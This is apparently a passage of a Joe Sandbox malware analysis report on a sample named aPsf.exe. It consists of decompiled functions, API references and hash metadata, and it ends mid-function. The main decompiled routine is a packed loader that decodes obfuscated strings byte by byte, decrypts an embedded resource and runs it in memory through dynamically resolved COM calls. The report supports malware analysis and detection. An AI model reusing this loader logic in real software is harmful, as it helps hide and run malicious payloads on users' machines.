						_t24 = DialogBoxIndirectParamA(_t23, _t21, _a4, _a8);
						FreeResource(_t21);
						if(_t24 == 0xffffffff) {
							goto L6;
						}
					}
				}
				return _t24;
			}

0x00f3651f
0x00f3652a
0x00f36534
0x00f3656b
0x00f36577
0x00f3657c
0x00f36536
0x00f3653e
0x00f36542
0x00000000
0x00f36544
0x00f36547
0x00f3654c
0x00f36549
0x00f36549
0x00f36549
0x00f3655e
0x00f36560
0x00f36569
0x00000000
0x00000000
0x00f36569
0x00f36542
0x00f36587

APIs

FindResourceA.KERNEL32(00F30000,000007D6,00000005), ref: 00F3652A
LoadResource.KERNEL32(00F30000,00000000,?,?,00F32EE8,00000000,00F319E0,00000547,0000083E,?,?,?,?,?,?,?), ref: 00F36538
DialogBoxIndirectParamA.USER32(00F30000,00000000,00000547,00F319E0,00000000), ref: 00F36557
FreeResource.KERNEL32(00000000,?,?,00F32EE8,00000000,00F319E0,00000547,0000083E,?,?,?,?,?,?,?,00000002), ref: 00F36560

Memory Dump Source

Source File: 00000001.00000002.319721408.0000000000F31000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000001.00000002.319714068.0000000000F30000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319734503.0000000000F38000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f30000_bPsg.jbxd

Similarity

API ID: Resource$DialogFindFreeIndirectLoadParam
String ID:
API String ID: 1214682469-0
Opcode ID: 70cbcb3dce53e3a48ce015947070059e4e1d1f4ac0f98c1c4157170815ba0d2d
Instruction ID: 77055c574a9a12f880893593bf2fdf9799ea3eab9ad7accc5394539a52833eab
Opcode Fuzzy Hash: 70cbcb3dce53e3a48ce015947070059e4e1d1f4ac0f98c1c4157170815ba0d2d
Instruction Fuzzy Hash: BD014972500609BBCB106F6A9C48DBB7A6DEB85370F044139FE50D3150D771DC10FAA1

Uniqueness

Uniqueness Score: -1.00%

Function 00F365E8 Relevance: 6.0, APIs: 4, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E00F365E8(char* __ecx) {
				char _t3;
				char _t10;
				char* _t12;
				char* _t14;
				char* _t15;
				CHAR* _t16;

				_t12 = __ecx;
				_t15 = __ecx;
				_t14 =  &(__ecx[1]);
				_t10 = 0;
				do {
					_t3 =  *_t12;
					_t12 =  &(_t12[1]);
				} while (_t3 != 0);
				_push(CharPrevA(__ecx, _t12 - _t14 + __ecx));
				while(1) {
					_t16 = CharPrevA(_t15, ??);
					if(_t16 <= _t15) {
						break;
					}
					if( *_t16 == 0x5c) {
						L7:
						if(_t16 == _t15 ||  *(CharPrevA(_t15, _t16)) == 0x3a) {
							_t16 = CharNextA(_t16);
						}
						 *_t16 = _t10;
						_t10 = 1;
					} else {
						_push(_t16);
						continue;
					}
					L11:
					return _t10;
				}
				if( *_t16 == 0x5c) {
					goto L7;
				}
				goto L11;
			}

0x00f365e8
0x00f365ed
0x00f365ef
0x00f365f2
0x00f365f4
0x00f365f4
0x00f365f6
0x00f365f7
0x00f36608
0x00f36611
0x00f36618
0x00f3661c
0x00000000
0x00000000
0x00f3660e
0x00f36623
0x00f36625
0x00f3663b
0x00f3663b
0x00f3663d
0x00f36641
0x00f36610
0x00f36610
0x00000000
0x00f36610
0x00f36644
0x00f36647
0x00f36647
0x00f36621
0x00000000
0x00000000
0x00000000

APIs

CharPrevA.USER32(?,00000000,00000000,00000001,00000000,00F32B33), ref: 00F36602
CharPrevA.USER32(?,00000000), ref: 00F36612
CharPrevA.USER32(?,00000000), ref: 00F36629
CharNextA.USER32(00000000), ref: 00F36635

Memory Dump Source

Source File: 00000001.00000002.319721408.0000000000F31000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000001.00000002.319714068.0000000000F30000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319734503.0000000000F38000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f30000_bPsg.jbxd

Similarity

API ID: Char$Prev$Next
String ID:
API String ID: 3260447230-0
Opcode ID: 77a3c78685b46c9e466b52ff5268a1340985e26a9878aa9ec0b58eb506f45187
Instruction ID: a08cab2ceea7815c4743fe4c2e1902cb08dd6c07819ac858f136f06225e0f73a
Opcode Fuzzy Hash: 77a3c78685b46c9e466b52ff5268a1340985e26a9878aa9ec0b58eb506f45187
Instruction Fuzzy Hash: 85F028328041507EE7322B298C88DBBBF9DCF973B5F2941AFE4D2C6111D6150D06BA71

Uniqueness

Uniqueness Score: -1.00%

Function 00F369B0 Relevance: 6.0, APIs: 4, Instructions: 25
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00F369B0() {
				intOrPtr* _t4;
				intOrPtr* _t5;
				void* _t6;
				intOrPtr _t11;
				intOrPtr _t12;

				 *0xf381f8 = E00F36C70();
				__set_app_type(E00F36FBE(2));
				 *0xf388a4 =  *0xf388a4 | 0xffffffff;
				 *0xf388a8 =  *0xf388a8 | 0xffffffff;
				_t4 = __p__fmode();
				_t11 =  *0xf38528; // 0x0
				 *_t4 = _t11;
				_t5 = __p__commode();
				_t12 =  *0xf3851c; // 0x0
				 *_t5 = _t12;
				_t6 = E00F37000();
				if( *0xf38000 == 0) {
					__setusermatherr(E00F37000);
				}
				E00F371EF(_t6);
				return 0;
			}

0x00f369b7
0x00f369c2
0x00f369c8
0x00f369cf
0x00f369d8
0x00f369de
0x00f369e4
0x00f369e6
0x00f369ec
0x00f369f2
0x00f369f4
0x00f36a00
0x00f36a07
0x00f36a0d
0x00f36a0e
0x00f36a15

APIs

Part of subcall function 00F36FBE: GetModuleHandleW.KERNEL32(00000000), ref: 00F36FC5

__set_app_type.MSVCRT ref: 00F369C2
__p__fmode.MSVCRT ref: 00F369D8
__p__commode.MSVCRT ref: 00F369E6
__setusermatherr.MSVCRT ref: 00F36A07

Memory Dump Source

Source File: 00000001.00000002.319721408.0000000000F31000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000001.00000002.319714068.0000000000F30000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319734503.0000000000F38000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f30000_bPsg.jbxd

Similarity

API ID: HandleModule__p__commode__p__fmode__set_app_type__setusermatherr
String ID:
API String ID: 1632413811-0
Opcode ID: e3714371b7ab2a2906a2a4c7a73153b595fd23428e10943dde560f4a80f67eb4
Instruction ID: b248c2d8637bb875653f254506dde5d28d245a3a650b338f51315d8fdf014d0d
Opcode Fuzzy Hash: e3714371b7ab2a2906a2a4c7a73153b595fd23428e10943dde560f4a80f67eb4
Instruction Fuzzy Hash: D8F0F8B05093099FC768AB30AE0A6093B62FB04371F104609F4A1862F1CF7ED542BA11

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: aPsf.exePID: 4764, Parent PID: 984COMMON

Execution Graph

Execution Coverage:	5.6%
Dynamic/Decrypted Code Coverage:	7.8%
Signature Coverage:	4.6%
Total number of Nodes:	1249
Total number of Limit Nodes:	48

Executed Functions

Function 004019F0 Relevance: 147.7, APIs: 34, Strings: 50, Instructions: 747
comprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 77%

			E004019F0(void* __edx, void* __eflags) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t337;
				void* _t340;
				int _t341;
				CHAR* _t344;
				intOrPtr* _t349;
				int _t350;
				long _t352;
				signed int _t354;
				intOrPtr _t358;
				long _t359;
				CHAR* _t364;
				struct HINSTANCE__* _t365;
				CHAR* _t366;
				_Unknown_base(*)()* _t367;
				int _t368;
				int _t369;
				int _t370;
				intOrPtr* _t376;
				int _t378;
				intOrPtr _t379;
				intOrPtr* _t381;
				int _t383;
				intOrPtr* _t384;
				int _t385;
				int _t396;
				int _t399;
				int _t402;
				int _t405;
				intOrPtr* _t407;
				int _t413;
				int _t415;
				void* _t421;
				int _t422;
				int _t424;
				intOrPtr* _t428;
				intOrPtr _t429;
				intOrPtr* _t431;
				int _t432;
				int _t435;
				intOrPtr* _t437;
				int _t438;
				intOrPtr* _t439;
				int _t440;
				int _t442;
				signed int _t448;
				signed int _t451;
				signed int _t452;
				int _t469;
				int _t471;
				int _t482;
				signed int _t486;
				intOrPtr* _t488;
				intOrPtr* _t490;
				intOrPtr* _t492;
				intOrPtr _t493;
				void* _t494;
				struct HRSRC__* _t497;
				void* _t514;
				int _t519;
				intOrPtr* _t520;
				void* _t524;
				void* _t525;
				struct HINSTANCE__* _t526;
				intOrPtr _t527;
				void* _t531;
				void* _t535;
				struct HRSRC__* _t536;
				intOrPtr* _t537;
				intOrPtr* _t539;
				int _t542;
				int _t543;
				intOrPtr* _t547;
				intOrPtr* _t548;
				intOrPtr* _t549;
				intOrPtr* _t550;
				void* _t551;
				intOrPtr _t552;
				int _t555;
				void* _t556;
				void* _t557;
				void* _t558;
				void* _t559;
				void* _t560;
				void* _t561;
				void* _t562;
				intOrPtr* _t563;
				void* _t564;
				void* _t565;
				void* _t566;
				void* _t567;

				_t567 = __eflags;
				_t494 = __edx;
				__imp__OleInitialize(0); // executed
				 *((char*)(_t556 + 0x18)) = 0xe0;
				 *((char*)(_t556 + 0x19)) = 0x3b;
				 *((char*)(_t556 + 0x1a)) = 0x8d;
				 *((char*)(_t556 + 0x1b)) = 0x2a;
				 *((char*)(_t556 + 0x1c)) = 0xa2;
				 *((char*)(_t556 + 0x1d)) = 0x2a;
				 *((char*)(_t556 + 0x1e)) = 0x2a;
				 *((char*)(_t556 + 0x1f)) = 0x41;
				 *((char*)(_t556 + 0x20)) = 0xd3;
				 *((char*)(_t556 + 0x21)) = 0x20;
				 *((char*)(_t556 + 0x22)) = 0x64;
				 *((char*)(_t556 + 0x23)) = 6;
				 *((char*)(_t556 + 0x24)) = 0x8a;
				 *((char*)(_t556 + 0x25)) = 0xf7;
				 *((char*)(_t556 + 0x26)) = 0x3d;
				 *((char*)(_t556 + 0x27)) = 0x9d;
				 *((char*)(_t556 + 0x28)) = 0xd9;
				 *((char*)(_t556 + 0x29)) = 0xee;
				 *((char*)(_t556 + 0x2a)) = 0x15;
				 *((char*)(_t556 + 0x2b)) = 0x68;
				 *((char*)(_t556 + 0x2c)) = 0xf4;
				 *((char*)(_t556 + 0x2d)) = 0x76;
				 *((char*)(_t556 + 0x2e)) = 0xb9;
				 *((char*)(_t556 + 0x2f)) = 0x34;
				 *((char*)(_t556 + 0x30)) = 0xbf;
				 *((char*)(_t556 + 0x31)) = 0x1e;
				 *((char*)(_t556 + 0x32)) = 0xe7;
				 *((char*)(_t556 + 0x33)) = 0x78;
				 *((char*)(_t556 + 0x34)) = 0x98;
				 *((char*)(_t556 + 0x35)) = 0xe9;
				 *((char*)(_t556 + 0x36)) = 0x6f;
				 *((char*)(_t556 + 0x37)) = 0xb4;
				 *((char*)(_t556 + 0x38)) = 0;
				_push(E00401650(_t556 + 0x14, _t556 + 0x114));
				_t337 = E0040B99E(0, _t494, _t524, _t535, _t567);
				_t557 = _t556 + 0xc;
				if(_t337 == 0x41b2a0) {
					L80:
					__eflags = 0;
					return 0;
				} else {
					_t340 = CreateToolhelp32Snapshot(8, GetCurrentProcessId()); // executed
					_t525 = _t340;
					 *((intOrPtr*)(_t557 + 0x280)) = 0x224;
					 *((char*)(_t557 + 0x64)) = 0xce;
					 *((char*)(_t557 + 0x65)) = 0x27;
					 *((char*)(_t557 + 0x66)) = 0x9c;
					 *((char*)(_t557 + 0x67)) = 0x1a;
					 *((char*)(_t557 + 0x68)) = 0x95;
					 *((char*)(_t557 + 0x69)) = 0x2e;
					 *((char*)(_t557 + 0x6a)) = 0x22;
					 *((char*)(_t557 + 0x6b)) = 0x57;
					 *((char*)(_t557 + 0x6c)) = 0x91;
					 *((char*)(_t557 + 0x6d)) = 0x21;
					 *((char*)(_t557 + 0x6e)) = 0x57;
					 *((char*)(_t557 + 0x6f)) = 0x3a;
					 *((char*)(_t557 + 0x70)) = 0xf8;
					 *((char*)(_t557 + 0x71)) = 0x98;
					 *((char*)(_t557 + 0x72)) = 0x5b;
					 *((char*)(_t557 + 0x73)) = 0xf4;
					 *((char*)(_t557 + 0x74)) = 0xb5;
					 *((char*)(_t557 + 0x75)) = 0x87;
					 *((char*)(_t557 + 0x76)) = 0x7b;
					 *((char*)(_t557 + 0x77)) = 0xf;
					 *((char*)(_t557 + 0x78)) = 0xf4;
					 *((char*)(_t557 + 0x79)) = 0x76;
					 *((char*)(_t557 + 0x7a)) = 0xb9;
					 *((char*)(_t557 + 0x7b)) = 0x34;
					 *((char*)(_t557 + 0x7c)) = 0xbf;
					 *((char*)(_t557 + 0x7d)) = 0x1e;
					 *((char*)(_t557 + 0x7e)) = 0xe7;
					 *((char*)(_t557 + 0x7f)) = 0x78;
					 *((char*)(_t557 + 0x80)) = 0x98;
					 *((char*)(_t557 + 0x81)) = 0xe9;
					 *((char*)(_t557 + 0x82)) = 0x6f;
					 *((char*)(_t557 + 0x83)) = 0xb4;
					 *((char*)(_t557 + 0x84)) = 0;
					 *((char*)(_t557 + 0x18)) = 0xc0;
					 *((char*)(_t557 + 0x19)) = 0x38;
					 *((char*)(_t557 + 0x1a)) = 0x8d;
					 *((char*)(_t557 + 0x1b)) = 0x1f;
					 *((char*)(_t557 + 0x1c)) = 0x8e;
					 *((char*)(_t557 + 0x1d)) = 0x30;
					 *((char*)(_t557 + 0x1e)) = 0x65;
					 *((char*)(_t557 + 0x1f)) = 0x47;
					 *((char*)(_t557 + 0x20)) = 0xd3;
					 *((char*)(_t557 + 0x21)) = 0x29;
					 *((char*)(_t557 + 0x22)) = 0x3b;
					 *((char*)(_t557 + 0x23)) = 0x56;
					 *((char*)(_t557 + 0x24)) = 0xf8;
					 *((char*)(_t557 + 0x25)) = 0x98;
					 *((char*)(_t557 + 0x26)) = 0x5b;
					 *((char*)(_t557 + 0x27)) = 0xf4;
					 *((char*)(_t557 + 0x28)) = 0xb5;
					 *((char*)(_t557 + 0x29)) = 0x87;
					 *((char*)(_t557 + 0x2a)) = 0x7b;
					 *((char*)(_t557 + 0x2b)) = 0xf;
					 *((char*)(_t557 + 0x2c)) = 0xf4;
					 *((char*)(_t557 + 0x2d)) = 0x76;
					 *((char*)(_t557 + 0x2e)) = 0xb9;
					 *((char*)(_t557 + 0x2f)) = 0x34;
					 *((char*)(_t557 + 0x30)) = 0xbf;
					 *((char*)(_t557 + 0x31)) = 0x1e;
					 *((char*)(_t557 + 0x32)) = 0xe7;
					 *((char*)(_t557 + 0x33)) = 0x78;
					 *((char*)(_t557 + 0x34)) = 0x98;
					 *((char*)(_t557 + 0x35)) = 0xe9;
					 *((char*)(_t557 + 0x36)) = 0x6f;
					 *((char*)(_t557 + 0x37)) = 0xb4;
					 *((char*)(_t557 + 0x38)) = 0;
					_t341 = Module32First(_t525, _t557 + 0x278); // executed
					if(_t341 == 0) {
						L38:
						FindCloseChangeNotification(_t525); // executed
						_t526 = GetModuleHandleA(0);
						 *((char*)(_t557 + 0x1c)) = 0xfc;
						 *((char*)(_t557 + 0x1d)) = 0xb;
						 *((char*)(_t557 + 0x1e)) = 0xff;
						 *((char*)(_t557 + 0x1f)) = 0x75;
						 *((char*)(_t557 + 0x20)) = 0xe7;
						 *((char*)(_t557 + 0x21)) = 0x44;
						 *((char*)(_t557 + 0x22)) = 0x4b;
						 *((char*)(_t557 + 0x23)) = 0x23;
						 *((char*)(_t557 + 0x24)) = 0xbf;
						 *((char*)(_t557 + 0x25)) = 0x45;
						 *((char*)(_t557 + 0x26)) = 0x3b;
						 *((char*)(_t557 + 0x27)) = 0x56;
						 *((char*)(_t557 + 0x28)) = 0xf8;
						 *((char*)(_t557 + 0x29)) = 0x98;
						 *((char*)(_t557 + 0x2a)) = 0x5b;
						 *((char*)(_t557 + 0x2b)) = 0xf4;
						 *((char*)(_t557 + 0x2c)) = 0xb5;
						 *((char*)(_t557 + 0x2d)) = 0x87;
						 *((char*)(_t557 + 0x2e)) = 0x7b;
						 *((char*)(_t557 + 0x2f)) = 0xf;
						 *((char*)(_t557 + 0x30)) = 0xf4;
						 *((char*)(_t557 + 0x31)) = 0x76;
						 *((char*)(_t557 + 0x32)) = 0xb9;
						 *((char*)(_t557 + 0x33)) = 0x34;
						 *((char*)(_t557 + 0x34)) = 0xbf;
						 *((char*)(_t557 + 0x35)) = 0x1e;
						 *((char*)(_t557 + 0x36)) = 0xe7;
						 *((char*)(_t557 + 0x37)) = 0x78;
						 *((char*)(_t557 + 0x38)) = 0x98;
						 *((char*)(_t557 + 0x39)) = 0xe9;
						 *((char*)(_t557 + 0x3a)) = 0x6f;
						 *((char*)(_t557 + 0x3b)) = 0xb4;
						 *((char*)(_t557 + 0x3c)) = 0;
						_t344 = E00401650(_t557 + 0x18, _t557 + 0x158);
						_t558 = _t557 + 8;
						_t536 = FindResourceA(_t526, _t344, 0xa);
						 *(_t558 + 0x50) = _t536;
						_t551 = LoadResource(_t526, _t536);
						 *((intOrPtr*)(_t558 + 0x44)) = LockResource(_t551);
						_t349 = E0040B84D(0, _t557 + 0x18, _t526, SizeofResource(_t526, _t536)); // executed
						_push(0x40022);
						_t537 = _t349; // executed
						_t350 = E0040AF66(0, _t526, __eflags); // executed
						_t559 = _t558 + 8;
						 *(_t559 + 0x34) = _t350;
						__eflags = _t350;
						if(_t350 == 0) {
							 *(_t559 + 0x50) = 0;
						} else {
							E0040BA30(_t526, _t350, 0, 0x40022);
							_t486 =  *(_t559 + 0x40);
							_t559 = _t559 + 0xc;
							 *(_t559 + 0x50) = _t486;
						}
						E00401300( *(_t559 + 0x50));
						_t497 =  *(_t559 + 0x48);
						_t352 = SizeofResource(_t526, _t497);
						 *(_t559 + 0x40) = _t352;
						asm("cdq");
						_t354 = _t352 + (_t497 & 0x000003ff) >> 0xa;
						__eflags = _t354;
						if(_t354 > 0) {
							_t519 =  *(_t559 + 0x3c);
							_t482 = _t537 - _t519;
							__eflags = _t482;
							 *(_t559 + 0x34) = _t519;
							 *(_t559 + 0x88) = _t482;
							 *(_t559 + 0x38) = _t354;
							do {
								_t424 =  *(_t559 + 0x34);
								_push( *(_t559 + 0x88) + _t424);
								_push(0x400);
								_push(_t424);
								E00401560(0,  *((intOrPtr*)(_t559 + 0x54)));
								 *(_t559 + 0x34) =  *(_t559 + 0x34) + 0x400;
								_t179 = _t559 + 0x38;
								 *_t179 =  *(_t559 + 0x38) - 1;
								__eflags =  *_t179;
							} while ( *_t179 != 0);
						}
						_t448 =  *(_t559 + 0x40) & 0x800003ff;
						__eflags = _t448;
						if(_t448 < 0) {
							_t448 = (_t448 - 0x00000001 | 0xfffffc00) + 1;
							__eflags = _t448;
						}
						__eflags = _t448;
						if(_t448 > 0) {
							_t421 =  *(_t559 + 0x40) - _t448;
							_push(_t421 + _t537);
							_push(_t448);
							_t422 = _t421 +  *((intOrPtr*)(_t559 + 0x44));
							__eflags = _t422;
							_push(_t422);
							E00401560(0,  *((intOrPtr*)(_t559 + 0x58)));
						}
						E0040BA30(_t526,  *(_t559 + 0x3c), 0,  *(_t559 + 0x40));
						_t560 = _t559 + 0xc;
						FreeResource(_t551);
						_t552 =  *_t537;
						 *((intOrPtr*)(_t560 + 0x94)) = _t552;
						_t358 = E0040B84D(0,  *(_t559 + 0x40), _t526, _t552); // executed
						_t561 = _t560 + 4;
						 *((intOrPtr*)(_t561 + 0x40)) = _t358;
						_t359 = SizeofResource(_t526,  *(_t560 + 0x4c));
						_t527 =  *((intOrPtr*)(_t561 + 0x38));
						_t192 = _t537 + 4; // 0x4
						E0040AC60(_t527, _t561 + 0x98, _t192, _t359);
						E0040BA30(_t527, _t537, 0,  *((intOrPtr*)(_t561 + 0x50)));
						_t528 = _t527 + 0xe;
						 *((char*)(_t561 + 0x34)) = 0xce;
						 *((char*)(_t561 + 0x35)) = 0x27;
						 *((char*)(_t561 + 0x36)) = 0x9c;
						 *((char*)(_t561 + 0x37)) = 0x1a;
						 *((char*)(_t561 + 0x38)) = 0x95;
						 *((char*)(_t561 + 0x39)) = 0x21;
						 *((char*)(_t561 + 0x3a)) = 0x2e;
						 *((char*)(_t561 + 0x3b)) = 0xd;
						 *((char*)(_t561 + 0x3c)) = 0xdb;
						 *((char*)(_t561 + 0x3d)) = 0x29;
						 *((char*)(_t561 + 0x3e)) = 0x57;
						 *((char*)(_t561 + 0x3f)) = 0x56;
						 *((char*)(_t561 + 0x40)) = 0xf8;
						 *((char*)(_t561 + 0x41)) = 0x98;
						 *((char*)(_t561 + 0x42)) = 0x5b;
						 *((char*)(_t561 + 0x43)) = 0xf4;
						 *((char*)(_t561 + 0x44)) = 0xb5;
						 *((char*)(_t561 + 0x45)) = 0x87;
						 *((char*)(_t561 + 0x46)) = 0x7b;
						 *((char*)(_t561 + 0x47)) = 0xf;
						 *((char*)(_t561 + 0x48)) = 0xf4;
						 *((char*)(_t561 + 0x49)) = 0x76;
						 *((char*)(_t561 + 0x4a)) = 0xb9;
						 *((char*)(_t561 + 0x4b)) = 0x34;
						 *((char*)(_t561 + 0x4c)) = 0xbf;
						 *((char*)(_t561 + 0x4d)) = 0x1e;
						 *((char*)(_t561 + 0x4e)) = 0xe7;
						 *((char*)(_t561 + 0x4f)) = 0x78;
						 *((char*)(_t561 + 0x50)) = 0x98;
						 *((char*)(_t561 + 0x51)) = 0xe9;
						 *((char*)(_t561 + 0x52)) = 0x6f;
						 *((char*)(_t561 + 0x53)) = 0xb4;
						 *((char*)(_t561 + 0x54)) = 0;
						_t364 = E00401650(_t561 + 0x30, _t561 + 0x110);
						_t562 = _t561 + 0x24;
						_t365 = LoadLibraryA(_t364); // executed
						_t538 = _t365;
						 *((char*)(_t562 + 0x10)) = 0xe0;
						 *((char*)(_t562 + 0x11)) = 0x18;
						 *((char*)(_t562 + 0x12)) = 0xad;
						 *((char*)(_t562 + 0x13)) = 0x36;
						 *((char*)(_t562 + 0x14)) = 0x95;
						 *((char*)(_t562 + 0x15)) = 0x21;
						_t451 = _t562 + 0x134;
						 *((char*)(_t562 + 0x1e)) = 0x2a;
						 *((char*)(_t562 + 0x1f)) = 0x57;
						 *((char*)(_t562 + 0x20)) = 0xda;
						 *((char*)(_t562 + 0x21)) = 0xc;
						 *((char*)(_t562 + 0x22)) = 0x55;
						 *((char*)(_t562 + 0x23)) = 0x25;
						 *((char*)(_t562 + 0x24)) = 0x8c;
						 *((char*)(_t562 + 0x25)) = 0xf9;
						 *((char*)(_t562 + 0x26)) = 0x35;
						 *((char*)(_t562 + 0x27)) = 0x97;
						 *((char*)(_t562 + 0x28)) = 0xd0;
						 *((char*)(_t562 + 0x29)) = 0x87;
						 *((char*)(_t562 + 0x2a)) = 0x7b;
						 *((char*)(_t562 + 0x2b)) = 0xf;
						 *((char*)(_t562 + 0x2c)) = 0xf4;
						 *((char*)(_t562 + 0x2d)) = 0x76;
						 *((char*)(_t562 + 0x2e)) = 0xb9;
						 *((char*)(_t562 + 0x2f)) = 0x34;
						 *((char*)(_t562 + 0x30)) = 0xbf;
						 *((char*)(_t562 + 0x31)) = 0x1e;
						 *((char*)(_t562 + 0x32)) = 0xe7;
						 *((char*)(_t562 + 0x33)) = 0x78;
						 *((char*)(_t562 + 0x34)) = 0x98;
						 *((char*)(_t562 + 0x35)) = 0xe9;
						 *((char*)(_t562 + 0x36)) = 0x6f;
						 *((char*)(_t562 + 0x37)) = 0xb4;
						 *((char*)(_t562 + 0x38)) = 0;
						_t366 = E00401650(_t562 + 0x14, _t451);
						_t563 = _t562 + 8;
						_t367 = GetProcAddress(_t365, _t366);
						__eflags = _t367;
						_t452 = _t451 & 0xffffff00 | _t367 != 0x00000000;
						__eflags = _t452;
						 *(_t563 + 0x47) = _t452 == 0;
						 *0x423480 = _t367;
						 *((intOrPtr*)(_t563 + 0x80)) = 0;
						 *((intOrPtr*)(_t563 + 0x84)) = 0;
						 *((intOrPtr*)(_t563 + 0x4c)) = 0;
						 *(_t563 + 0x58) = 0;
						 *(_t563 + 0x54) = 0;
						__eflags = _t452;
						if(_t452 != 0) {
							_t368 =  *_t367(0x41b230, 0x41b220, _t563 + 0x80); // executed
							__eflags = _t368;
							if(_t368 >= 0) {
								__eflags =  *(_t563 + 0x47);
								if( *(_t563 + 0x47) == 0) {
									 *((intOrPtr*)(_t563 + 0x17c)) = _t563 + 0x17c;
									E004018F0( *((intOrPtr*)(_t563 + 0x38)), _t563 + 0x17c, _t563 + 0x17c,  *((intOrPtr*)(_t563 + 0x38)), 3);
									_t376 =  *((intOrPtr*)(_t563 + 0x80));
									_t378 =  *((intOrPtr*)( *((intOrPtr*)( *_t376 + 0xc))))(_t376,  *((intOrPtr*)(_t563 + 0x178)), 0x41b240, _t563 + 0x84); // executed
									__eflags = _t378;
									if(_t378 >= 0) {
										_t381 =  *((intOrPtr*)(_t563 + 0x84));
										_t383 =  *((intOrPtr*)( *((intOrPtr*)( *_t381 + 0x24))))(_t381, 0x41b210, 0x41b290, _t563 + 0x4c); // executed
										__eflags = _t383;
										if(_t383 >= 0) {
											_t384 =  *((intOrPtr*)(_t563 + 0x4c));
											_t385 =  *((intOrPtr*)( *((intOrPtr*)( *_t384 + 0x28))))(_t384); // executed
											__eflags = _t385;
											if(_t385 >= 0) {
												 *((intOrPtr*)(_t563 + 0x38)) = 0;
												E00401870(_t563 + 0x44, _t552, "_._");
												_t539 = __imp__#8;
												 *((intOrPtr*)(_t563 + 0x40)) = 0;
												 *_t539(_t563 + 0x94);
												E00401870(_t563 + 0x3c, _t552, "___");
												 *_t539(_t563 + 0xa4);
												 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t563 + 0x4c)))) + 0x34))))( *((intOrPtr*)(_t563 + 0x50)), E004018D0(_t563 + 0x58)); // executed
												_t542 =  *(_t563 + 0x58);
												__eflags = _t542;
												if(_t542 == 0) {
													E0040AD90(0x80004003);
												}
												_t396 =  *((intOrPtr*)( *((intOrPtr*)( *_t542))))(_t542, 0x41b270, E004018D0(_t563 + 0x54));
												 *((intOrPtr*)(_t563 + 0x94)) = _t552 + 0xfffffff2;
												 *((intOrPtr*)(_t563 + 0x98)) = 0;
												__imp__#15(0x11, 1, _t563 + 0x88); // executed
												_t543 = _t396;
												 *((intOrPtr*)(_t563 + 0x50)) = 0;
												__imp__#23(_t543, _t563 + 0x48);
												E0040B350(0, _t528, _t543,  *((intOrPtr*)(_t563 + 0x48)), _t528, _t552 + 0xfffffff2);
												_t564 = _t563 + 0xc;
												__imp__#24(_t543);
												_t399 =  *(_t564 + 0x54);
												__eflags = _t399;
												if(_t399 == 0) {
													_t399 = E0040AD90(0x80004003);
												}
												 *((intOrPtr*)( *((intOrPtr*)( *_t399 + 0xb4))))(_t399, _t543, E004018D0(_t564 + 0x34)); // executed
												__eflags = _t543;
												if(_t543 != 0) {
													__imp__#16(_t543); // executed
												}
												_t402 =  *(_t564 + 0x34);
												__eflags = _t402;
												if(_t402 == 0) {
													_t402 = E0040AD90(0x80004003);
												}
												_t469 =  *(_t564 + 0x40);
												_t555 = _t402;
												__eflags = _t469;
												if(_t469 == 0) {
													_t531 = 0;
													__eflags = 0;
												} else {
													_t531 =  *_t469;
												}
												 *((intOrPtr*)( *((intOrPtr*)( *_t402 + 0x44))))(_t555, _t531, E004018D0(_t564 + 0x3c)); // executed
												__imp__#411(0xc, 0, 0);
												_t471 =  *(_t564 + 0x3c);
												__eflags = _t471;
												if(_t471 == 0) {
													E0040AD90(0x80004003);
												}
												_t405 =  *(_t564 + 0x38);
												__eflags = _t405;
												if(_t405 == 0) {
													_t514 = 0;
													__eflags = 0;
												} else {
													_t514 =  *_t405;
												}
												_t563 = _t564 - 0x10;
												_t407 = _t563;
												 *_t407 =  *((intOrPtr*)(_t564 + 0x94));
												 *((intOrPtr*)(_t407 + 4)) =  *((intOrPtr*)(_t563 + 0xb0));
												 *((intOrPtr*)(_t407 + 8)) =  *((intOrPtr*)(_t563 + 0xb8));
												_t528 =  *((intOrPtr*)(_t563 + 0xc0));
												 *((intOrPtr*)(_t407 + 0xc)) =  *((intOrPtr*)(_t563 + 0xc0));
												 *((intOrPtr*)( *((intOrPtr*)( *_t471 + 0xe4))))(_t471, _t514, 0x118, 0, 0, _t564 + 0xa4);
												_t538 = __imp__#9; // 0x77b5cf00
												_t538->i(_t563 + 0xa4);
												E004019A0(_t563 + 0x38);
												_t538->i(_t563 + 0x94);
												_t413 =  *(_t563 + 0x3c);
												__eflags = _t413;
												if(_t413 != 0) {
													 *((intOrPtr*)( *((intOrPtr*)( *_t413 + 8))))(_t413);
												}
												E004019A0(_t563 + 0x40);
												_t415 =  *(_t563 + 0x34);
												__eflags = _t415;
												if(_t415 != 0) {
													 *((intOrPtr*)( *((intOrPtr*)( *_t415 + 8))))(_t415);
												}
											}
										}
									}
									_t379 =  *((intOrPtr*)(_t563 + 0x174));
